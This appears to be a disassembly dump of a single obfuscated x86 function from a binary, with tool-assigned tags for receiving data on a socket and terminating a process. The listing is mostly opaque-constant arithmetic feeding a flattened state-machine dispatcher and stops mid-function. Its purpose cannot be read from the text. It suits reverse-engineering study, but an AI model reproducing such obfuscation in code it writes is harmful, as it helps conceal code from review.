Function at 0x10087440
Capabilities:
Receive data
Receive data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1e0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov eax, dword [0x101d0fc8]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x101cdc7c]
mov edx, dword [0x101cdc80]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, ecx
or eax, 0x80fcd928
xor eax, 0xffffffff
or ecx, 0x80fcd928
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc35cc036
and ecx, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc35cc036
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0x6b096a91
shl eax, 1
xor ecx, 0x6b096a91
add ecx, eax
sub ecx, 0x6b59a6ed
sub ecx, 0x6c03bbf1
add ecx, 0x6b59a6ed
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x304d676a
mov edx, 0xffffffff
xor edx, 0x304d676a
and ecx, edx
sub ecx, eax
sub ecx, 0xba08babc
mov eax, ecx
and eax, 0x8546d0bc
shl eax, 1
xor ecx, 0x8546d0bc
add ecx, eax
xor ecx, 0x7538f283
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xf799a143
mov edx, 0xffffffff
xor edx, 0xf799a143
and ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x7d1d3a8c
xor ecx, 0xffffffff
or eax, 0x7d1d3a8c
and eax, ecx
xor eax, 0x835e4a9c
sub eax, 0x976b944
imul ecx, eax, 0x7d41da8d
mov eax, ecx
xor eax, 0xd8212059
xor eax, 0xffffffff
or ecx, 0xd8212059
and ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc934e48b
mov eax, 0xffffffff
xor eax, 0x6aeb44f0
or ecx, edx
or eax, 0x6aeb44f0
xor ecx, 0xffffffff
and ecx, eax
mov eax, 0xffffffff
xor eax, 0x2d73c9c1
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
xor ecx, 0xe2549bd
mov eax, ecx
and eax, 0xfaa1c668
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfaa1c668
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
sub eax, 0x80b645eb
mov ecx, eax
and ecx, 0x8abcd944
or eax, 0x8abcd944
add ecx, eax
mov eax, 0xffffffff
xor eax, 0xd94714dc
add ecx, eax
add ecx, 1
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x81d84f86
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, ecx
and eax, 0xa85d2dc3
or ecx, 0xa85d2dc3
add eax, ecx
mov ecx, eax
and ecx, 0xe0f86725
xor eax, 0xe0f86725
or ecx, eax
mov edx, 0xffffffff
xor edx, 0x3534a0bc
mov eax, ecx
xor eax, edx
and eax, ecx
and eax, 0x38bde67e
mov esi, 0xffffffff
xor esi, 0xd5fc38c3
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xd5fc38c3
or eax, 0xd5fc38c3
imul eax, edx
add eax, ecx
add eax, 0x2aeef2b1
mov ecx, eax
xor ecx, 0xcad6dadd
xor ecx, 0xffffffff
or eax, 0xcad6dadd
and eax, ecx
or eax, 0x47f94f32
mov ecx, 0xe5aaaa47
xor edx, edx
div ecx
mov ecx, 0xb8748a9d
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x3761515f
add ecx, 0xd62d41dd
add ecx, 0x94a18c2e
mov esi, 0xffffffff
xor esi, 0x2bdc2b70
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x2bdc2b70
or ecx, 0x2bdc2b70
imul ecx, edx
add ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xe3389fe0
or edx, 0xe3389fe0
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0xe3389fe0
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
sub eax, 0x7d5281e7
mov ecx, eax
xor ecx, 0xf27ff281
xor ecx, 0xffffffff
and ecx, 0xf27ff281
shl ecx, 1
sub ecx, 0xf27ff281
sub eax, ecx
mov dword [ebp - 0x14], 0xee085f4c
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], ecx
xor eax, 0xa2cc0dde
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
sub eax, 0x82c4d1e6
je 0x1008ecf1
jmp 0x10087741
mov eax, dword [ebp - 0x2c]
sub eax, 0x85cd160c
je 0x10089626
jmp 0x10087754
mov eax, dword [ebp - 0x2c]
sub eax, 0x85d49083
je 0x100946d9
jmp 0x10087767
mov eax, dword [ebp - 0x2c]
sub eax, 0x8649ef17
je 0x1009a0d9
jmp 0x1008777a
mov eax, dword [ebp - 0x2c]
sub eax, 0x897fb9a2
je 0x1009a7d9
jmp 0x1008778d
mov eax, dword [ebp - 0x2c]
sub eax, 0x89c1b582
je 0x10095180
jmp 0x100877a0
mov eax, dword [ebp - 0x2c]
sub eax, 0x8d98cd14
je 0x100976d0
jmp 0x100877b3
mov eax, dword [ebp - 0x2c]
sub eax, 0x8db1cf4b
je 0x1009a422
jmp 0x100877c6
mov eax, dword [ebp - 0x2c]
sub eax, 0x8dfc2e01
je 0x1008a47d
jmp 0x100877d9
mov eax, dword [ebp - 0x2c]
sub eax, 0x8f94261e
je 0x1009a135
jmp 0x100877ec
mov eax, dword [ebp - 0x2c]
sub eax, 0x8fd87e84
je 0x1009a163
jmp 0x100877ff
mov eax, dword [ebp - 0x2c]
sub eax, 0x9002c194
je 0x1008a753
jmp 0x10087812
mov eax, dword [ebp - 0x2c]
sub eax, 0x90e0bfd1
je 0x1008afd2
jmp 0x10087825
mov eax, dword [ebp - 0x2c]
sub eax, 0x90f205b5
je 0x100968a3
jmp 0x10087838
mov eax, dword [ebp - 0x2c]
sub eax, 0x948d434e
je 0x10091f4a
jmp 0x1008784b
mov eax, dword [ebp - 0x2c]
sub eax, 0x9664000b
je 0x10088be1
jmp 0x1008785e
mov eax, dword [ebp - 0x2c]
sub eax, 0x96bc6fe3
je 0x10089528
jmp 0x10087871
mov eax, dword [ebp - 0x2c]
sub eax, 0x9930a4bf
je 0x1008916c
jmp 0x10087884
mov eax, dword [ebp - 0x2c]
sub eax, 0x9ac9be32
je 0x1009a079
jmp 0x10087897
mov eax, dword [ebp - 0x2c]
sub eax, 0x9dbd76cd
je 0x1009853c
jmp 0x100878aa
mov eax, dword [ebp - 0x2c]
sub eax, 0xa17eddde
je 0x1009a06b
jmp 0x100878bd
mov eax, dword [ebp - 0x2c]
sub eax, 0xa24cb8fc
je 0x10091184
jmp 0x100878d0
mov eax, dword [ebp - 0x2c]
sub eax, 0xa4725789
je 0x1008d276
jmp 0x100878e3
mov eax, dword [ebp - 0x2c]
sub eax, 0xa47f0368
je 0x1008c071
jmp 0x100878f6
mov eax, dword [ebp - 0x2c]
sub eax, 0xa8900195
je 0x1008eed9
jmp 0x10087909
mov eax, dword [ebp - 0x2c]
sub eax, 0xa9872c3c
je 0x1008e35a
jmp 0x1008791c
mov eax, dword [ebp - 0x2c]
sub eax, 0xaa467f37
je 0x1009a3e6
jmp 0x1008792f
mov eax, dword [ebp - 0x2c]
sub eax, 0xafe3b400
je 0x100962ec
jmp 0x10087942
mov eax, dword [ebp - 0x2c]
sub eax, 0xb378dd22
je 0x10090c23
jmp 0x10087955
mov eax, dword [ebp - 0x2c]
sub eax, 0xb5c67ef1
je 0x1009366b
jmp 0x10087968
mov eax, dword [ebp - 0x2c]
sub eax, 0xb6ac7a2a
je 0x100938e2
jmp 0x1008797b
mov eax, dword [ebp - 0x2c]
sub eax, 0xb887fbab
je 0x10088eab
jmp 0x1008798e
mov eax, dword [ebp - 0x2c]
sub eax, 0xb8d53886
je 0x10088450
jmp 0x100879a1
mov eax, dword [ebp - 0x2c]
sub eax, 0xba95c3f0
je 0x1008b648
jmp 0x100879b4
mov eax, dword [ebp - 0x2c]
sub eax, 0xbe8c6281
je 0x10098890
jmp 0x100879c7
mov eax, dword [ebp - 0x2c]
sub eax, 0xbf39210e
je 0x1008f151
jmp 0x100879da
mov eax, dword [ebp - 0x2c]
sub eax, 0xc2153e85
je 0x10096567
jmp 0x100879ed
mov eax, dword [ebp - 0x2c]
sub eax, 0xc32d6337
je 0x10093f5e
jmp 0x10087a00
mov eax, dword [ebp - 0x2c]
sub eax, 0xc4015614
je 0x10096e78
jmp 0x10087a13
mov eax, dword [ebp - 0x2c]
sub eax, 0xc46ea9d7
je 0x1009a467
jmp 0x10087a26
mov eax, dword [ebp - 0x2c]
sub eax, 0xc522ea0f
je 0x10090ec1
jmp 0x10087a39
mov eax, dword [ebp - 0x2c]
sub eax, 0xc531f8af
je 0x1009a404
jmp 0x10087a4c
mov eax, dword [ebp - 0x2c]
sub eax, 0xc695a554
je 0x1008f3f7
jmp 0x10087a5f
mov eax, dword [ebp - 0x2c]
sub eax, 0xc7180056
je 0x100971e3
jmp 0x10087a72
mov eax, dword [ebp - 0x2c]
sub eax, 0xcd397d5c
je 0x10089828
jmp 0x10087a85
mov eax, dword [ebp - 0x2c]
sub eax, 0xcd3ffe63
je 0x1009a214
jmp 0x10087a98
mov eax, dword [ebp - 0x2c]
sub eax, 0xcd8cae9d
je 0x1008875f
jmp 0x10087aab
mov eax, dword [ebp - 0x2c]
sub eax, 0xcf1fe14e
je 0x100927b1
jmp 0x10087abe
mov eax, dword [ebp - 0x2c]
sub eax, 0xd04e2447
je 0x100992ba
jmp 0x10087ad1
mov eax, dword [ebp - 0x2c]
sub eax, 0xd09a8b1d
je 0x1009a53c
jmp 0x10087ae4
mov eax, dword [ebp - 0x2c]
sub eax, 0xd2ef109f
je 0x1009546f
jmp 0x10087af7
mov eax, dword [ebp - 0x2c]
sub eax, 0xd39bde3e
je 0x10097be3
jmp 0x10087b0a
mov eax, dword [ebp - 0x2c]
sub eax, 0xd3ad54d3
je 0x1009a17d
jmp 0x10087b1d
mov eax, dword [ebp - 0x2c]
sub eax, 0xd663cff1
je 0x10090c3a
jmp 0x10087b30
mov eax, dword [ebp - 0x2c]
sub eax, 0xd7251d7d
je 0x10090c15
jmp 0x10087b43
mov eax, dword [ebp - 0x2c]
sub eax, 0xd9391717
je 0x10095461
jmp 0x10087b56
mov eax, dword [ebp - 0x2c]
sub eax, 0xda02232d
je 0x1008da75
jmp 0x10087b69
mov eax, dword [ebp - 0x2c]
sub eax, 0xdb389064
je 0x10095d32
jmp 0x10087b7c
mov eax, dword [ebp - 0x2c]
sub eax, 0xe05570cd
je 0x10099d79
jmp 0x10087b8f
mov eax, dword [ebp - 0x2c]
sub eax, 0xe2d07f3e
je 0x10092218
jmp 0x10087ba2
mov eax, dword [ebp - 0x2c]
sub eax, 0xe34f49a8
je 0x1008fc46
jmp 0x10087bb5
mov eax, dword [ebp - 0x2c]
sub eax, 0xe365bc85
je 0x1008ffc8
jmp 0x10087bc8
mov eax, dword [ebp - 0x2c]
sub eax, 0xe4b6ccfc
je 0x1008a9a5
jmp 0x10087bdb
mov eax, dword [ebp - 0x2c]
sub eax, 0xe4d19a81
je 0x1009492e
jmp 0x10087bee
mov eax, dword [ebp - 0x2c]
sub eax, 0xe531a068
je 0x10089e9c
mov eax, dword [0x101cdc84]
or eax, dword [0x101cdc88]
xor eax, 0x7d54273a
mov ecx, eax
and ecx, 0x53f9dbe
shl ecx, 1
add eax, 0x53f9dbe
sub eax, ecx
xor eax, 0xd87562be
mov ecx, 0x29b75c56
xor edx, edx
div ecx
sub eax, 0x85debbc9
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7f6ebc26
mov esi, 0xffffffff
xor esi, 0x7f6ebc26
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x7f6ebc26
or eax, 0x7f6ebc26
imul eax, edx
add eax, ecx
sub eax, 0x82813c09
add eax, 0x4b3df2ef
mov ecx, 0x9e318e3f
xor edx, edx
div ecx
mov esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x65062a20
mov edx, 0xffffffff
xor edx, 0x65062a20
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x8e92d865
and ecx, 0x65062a20
and edx, 0x8e92d865
or eax, esi
or ecx, edx
xor eax, ecx
sub eax, 0xffe05ec
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x34], ecx
mov esi, 0xffffffff
xor esi, 0x9e00d024
mov edx, 0xffffffff
xor edx, 0x78d23a66
and ecx, 0x78d23a66
and eax, edx
mov edi, esi
and edi, 0x78d23a66
mov ebx, edx
and ebx, 0x9e00d024
or ecx, eax
mov eax, dword [ebp - 0x34]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x78d23a66
and eax, edx
or ecx, eax
and ecx, 0x7af67e64
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xc14e1acb
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbf1b157a
or eax, edx
and ecx, 0xbf1b157a
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
sub eax, 0xb8232d9f
mov ecx, 0x576f142
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xbf6a9eed
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xbf6a9eed
or eax, 0xbf6a9eed
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0xde27108e
shl ecx, 1
add eax, 0xde27108e
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x8c2599e3
mov edx, 0xffffffff
xor edx, 0x8c2599e3
and eax, edx
or ecx, eax
or ecx, 0xf46f3eb1
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x74a6c02f
mov edx, 0xffffffff
xor edx, 0x74a6c02f
and ecx, edx
or eax, ecx
xor eax, 0x661fc51a
xor eax, 0xbf99d8ba
mov ecx, 0x460c4e70
xor edx, edx
div ecx
add eax, 0x763c7c9b
sub eax, 0x3cb42189
mov ecx, 0xc9c358c5
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
sub edx, 0xc71252d6
add edx, 0x3231492b
add edx, 0xc71252d6
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x3bdd5e26
mov esi, 0xffffffff
xor esi, 0x3bdd5e26
and edx, esi
sub edx, ecx
mov ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
mov edx, 0x6006b328
or edx, 0x6006b328
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
sub ecx, 0x5ea82b2d
and ecx, 0x8ab48aeb
sub ecx, 0xe44e5da7
imul edi, ecx, 0x5a6db647
mov esi, edi
xor esi, 0xffffffff
and esi, 0x8023878
mov edx, 0xffffffff
xor edx, 0x8023878
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0x2a21c4bf
and ecx, 0x8023878
and edx, 0x2a21c4bf
or esi, edi
or ecx, edx
xor esi, ecx
or esi, 0xa2d1f918
add esi, 0x5a62d4cd
mov edi, 0xffffffff
xor edi, 0x38ac2681
mov edx, esi
and edx, edi
mov ecx, esi
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, esi
and edx, 0x38ac2681
or esi, 0x38ac2681
imul esi, edx
add esi, ecx
mov edx, esi
xor edx, 0xffffffff
and edx, 0x1ba7a1f0
mov edi, 0xffffffff
xor edi, 0x1ba7a1f0
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0x1ba7a1f0
or esi, 0x1ba7a1f0
imul esi, edx
add esi, ecx
cmp dword [0x101d25c0], 0
sete cl
mov byte [ebp - 0x2d], cl
mov ecx, 0xcd8cae9d
mov edx, 0xb8d53886
cmp esi, 0x21cf774e
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x2d]
mov ecx, 0x9664000b
mov edx, 0xec92a122
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdc8c]
or eax, dword [0x101cdc90]
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x234c704e
or ecx, edx
mov edx, 0xffffffff
xor edx, 0x234c704e
mov esi, 0xffffffff
xor esi, 0x234c704e
or edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
and ecx, 0xad167527
xor eax, eax
sub eax, 0x514c3f0f
add ecx, eax
xor ecx, 0xe5c7cfc4
sub ecx, 0xbd972825
xor ecx, 0x970f08cb
sub ecx, 0x4b3ef2c6
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x3ee09e4b
or edx, 0x3ee09e4b
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0x3ee09e4b
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xff5b63cd
and eax, 0x2e97d13f
add eax, 0xb86d473e
mov edx, eax
xor edx, 0xffffffff
and edx, 0xaf3b363
mov esi, 0xffffffff
xor esi, 0xaf3b363
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xaf3b363
or eax, 0xaf3b363
imul eax, edx
add eax, ecx
mov edx, 0xffffffff
xor edx, 0xbdc48aca
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xbdc48aca
add eax, edx
sub eax, ecx
xor ecx, ecx
sub ecx, 0xd49633cf
sub eax, ecx
mov ecx, 0x765113ea
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x91041cf
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xe8fd61c
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xe8fd61c
or eax, 0xe8fd61c
imul eax, edx
add eax, ecx
mov ecx, eax
or ecx, 0x788a795e
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x788a795e
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xe92b0028
mov esi, 0xffffffff
xor esi, 0xe92b0028
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xe92b0028
or ecx, 0xe92b0028
imul ecx, edx
add ecx, eax
xor eax, eax
sub eax, 0x326480cc
add ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x4dfd2f33
mov esi, 0xffffffff
xor esi, 0x4dfd2f33
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x4dfd2f33
or ecx, 0x4dfd2f33
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x5ef17af3
xor ecx, 0x5ef17af3
or eax, ecx
mov ecx, 0x1f00049b
xor edx, edx
div ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0x169b7bd5
or ecx, 0x169b7bd5
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
xor eax, 0x5b885c53
mov ecx, 0x2510b403
xor edx, edx
div ecx
or eax, 0xa3c23d76
mov esi, 0xffffffff
xor esi, 0x9379ed5f
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9379ed5f
or eax, 0x9379ed5f
imul eax, edx
add eax, ecx
mov ecx, 0xed50e59b
xor edx, edx
div ecx
mov ecx, 0x71e63fdd
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x26c1bb33
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, eax
and ecx, 0x4c149a
shl ecx, 1
add eax, 0x4c149a
sub eax, ecx
mov ecx, 0x34ba5700
xor edx, edx
div ecx
imul eax, eax, 0x7468f9c
xor eax, 0x4ffe6ee7
mov ecx, 0x2acf8dac
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
add esi, 0x8119ca80
and esi, 0x13cfbf9d
and esi, 0x91eee780
or esi, 0x1ef6a749
mov ecx, 0x3663cab0
mov edx, 0xb887fbab
cmp esi, 0x9d716f89
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdc94]
and eax, dword [0x101cdc98]
mov ecx, 0x71ca0c36
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x9187ab62
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9187ab62
or eax, 0x9187ab62
imul eax, edx
add eax, ecx
mov ecx, 0xb1bf985a
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x105e59f5
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x105e59f5
or eax, 0x105e59f5
imul eax, edx
add eax, ecx
imul eax, eax, 0x54a9d7e6
sub eax, 0xbaca4cc8
and eax, 0xaf7f97ed
mov esi, 0xffffffff
xor esi, 0x7a89c23b
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x7a89c23b
or eax, 0x7a89c23b
imul eax, edx
add eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xf64bf3fa
or ecx, 0xf64bf3fa
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xdbb4033d
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x4ec1e5bc
xor ecx, 0xffffffff
or eax, 0x4ec1e5bc
and eax, ecx
or eax, 0x2457c250
mov edx, eax
xor edx, 0xffffffff
and edx, 0xcf9d6dd8
mov esi, 0xffffffff
xor esi, 0xcf9d6dd8
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xcf9d6dd8
or eax, 0xcf9d6dd8
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xca60f894
mov edx, 0xffffffff
xor edx, 0xca60f894
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, eax
xor ecx, 0x6d374eed
mov edx, 0xffffffff
xor edx, 0x6d374eed
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xef6ef85f
add eax, ecx
mov ecx, 0xa8b74bb2
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x6d4a4e05
mov eax, ecx
and eax, 0x2a69dc3b
xor ecx, 0x2a69dc3b
or eax, ecx
imul ecx, eax, 0x6bd23a3b
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x948f7175
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x948f7175
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
add eax, 0x27985b06
sub eax, 0x128248cb
sub eax, 0x27985b06
sub eax, 0xf1454983
sub eax, 0xc7f34628
add eax, 0xf1454983
mov ecx, 0xffffffff
xor ecx, 0xc1360afe
add eax, ecx
add eax, 1
sub eax, 0xcc1c1c7c
mov ecx, eax
xor ecx, 0xb9682a4a
xor ecx, 0xffffffff
or eax, 0xb9682a4a
and eax, ecx
sub eax, 0xb6b850b2
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xee9b48a
mov ecx, 0xffffffff
xor ecx, 0x74d77fa6
or eax, edx
or ecx, 0x74d77fa6
xor eax, 0xffffffff
and eax, ecx
add eax, 0x89438018
xor eax, 0x84cdb840
sub eax, 0x7a75e363
add eax, 0x93623df2
add eax, 0x7a75e363
mov ecx, 0xc6f93c3c
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
sub ecx, 0x4a11129b
add ecx, 0x1c6e2ef8
add ecx, 0x4a11129b
imul edx, ecx, 0x25d7c8e5
and edx, 0xe528a9c8
mov esi, 0xffffffff
xor esi, 0x3637110b
mov ecx, edx
xor ecx, esi
and ecx, edx
sub ecx, 0x6db1ba4b
imul esi, ecx, 0x9ad3dd6d
mov ecx, esi
xor ecx, 0xf19ba537
xor ecx, 0xffffffff
or esi, 0xf19ba537
and esi, ecx
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xb93986b5
mov edx, 0xffffffff
xor edx, 0xb93986b5
and esi, edx
sub esi, ecx
mov ecx, 0x9930a4bf
mov edx, 0x3663cab0
cmp esi, 0x12a1c923
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdc9c]
xor edx, edx
div dword [0x101cdca0]
mov ecx, eax
add ecx, 0x8a93f055
sub ecx, 0x1e21d7e4
sub ecx, 0x8a93f055
xor ecx, 0xafe346e2
mov eax, ecx
and eax, 0x8cbf3
xor ecx, 0x8cbf3
or eax, ecx
add eax, 0xbe6a45c2
sub eax, 0x268e8f20
sub eax, 0xbe6a45c2
mov ecx, eax
and ecx, 0xacc5deb9
shl ecx, 1
add eax, 0xacc5deb9
sub eax, ecx
mov ecx, eax
xor ecx, 0x208721ac
xor ecx, 0xffffffff
and ecx, 0x208721ac
shl ecx, 1
sub ecx, 0x208721ac
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x44], ecx
mov esi, 0xffffffff
xor esi, 0x82e8ec24
mov edx, 0xffffffff
xor edx, 0xfc466067
and ecx, 0xfc466067
and eax, edx
mov edi, esi
and edi, 0xfc466067
mov ebx, edx
and ebx, 0x82e8ec24
or ecx, eax
mov eax, dword [ebp - 0x44]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0xfc466067
and eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7b69787b
or eax, edx
and ecx, 0x7b69787b
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0xb705c3ab
xor ecx, 0xffffffff
or eax, 0xb705c3ab
and eax, ecx
mov ecx, 0x48e8ba24
xor edx, edx
div ecx
add eax, 0x8808f204
add eax, 0x99c65e54
sub eax, 0x8808f204
xor ecx, ecx
sub ecx, 0xad61e383
add eax, ecx
or eax, 0x786aa116
add eax, 0xcb3e4bd1
sub eax, 0xa0e9b16b
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0xffffffff
xor edx, 0x3af2a887
mov esi, 0xffffffff
xor esi, 0x3af2a887
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, 0x3af2a887
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
or ecx, 0xb1c0483e
or ecx, 0x75c57691
mov eax, ecx
and eax, 0x2c77453c
xor eax, 0xffffffff
add ecx, 0x2c77453c
add ecx, 1
add ecx, eax
or ecx, 0xa6b37144
xor ecx, 0xa2954e77
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7c9dbc42
or eax, edx
and ecx, 0x7c9dbc42
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul ecx, eax, 0x501533c4
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe3cabb51
mov esi, 0xffffffff
xor esi, 0xe3cabb51
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0xe3cabb51
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
add eax, 0x1bb00e3
add eax, 0xa4545d7d
sub eax, 0x1bb00e3
mov ecx, 0xe398593a
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x6c3981d4
add eax, ecx
add eax, 1
mov ecx, 0xb3e0dd32
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x2cf7dae4
mov esi, 0xffffffff
xor esi, 0x2cf7dae4
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x2cf7dae4
or eax, 0x2cf7dae4
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov esi, 0xffffffff
xor esi, 0x9bc4be36
mov edx, 0xffffffff
xor edx, 0x4466857a
and ecx, 0x4466857a
and eax, edx
mov edi, esi
and edi, 0x4466857a
mov ebx, edx
and ebx, 0x9bc4be36
or ecx, eax
mov eax, dword [ebp - 0x40]
or edi, ebx
xor ecx, edi
or eax, esi
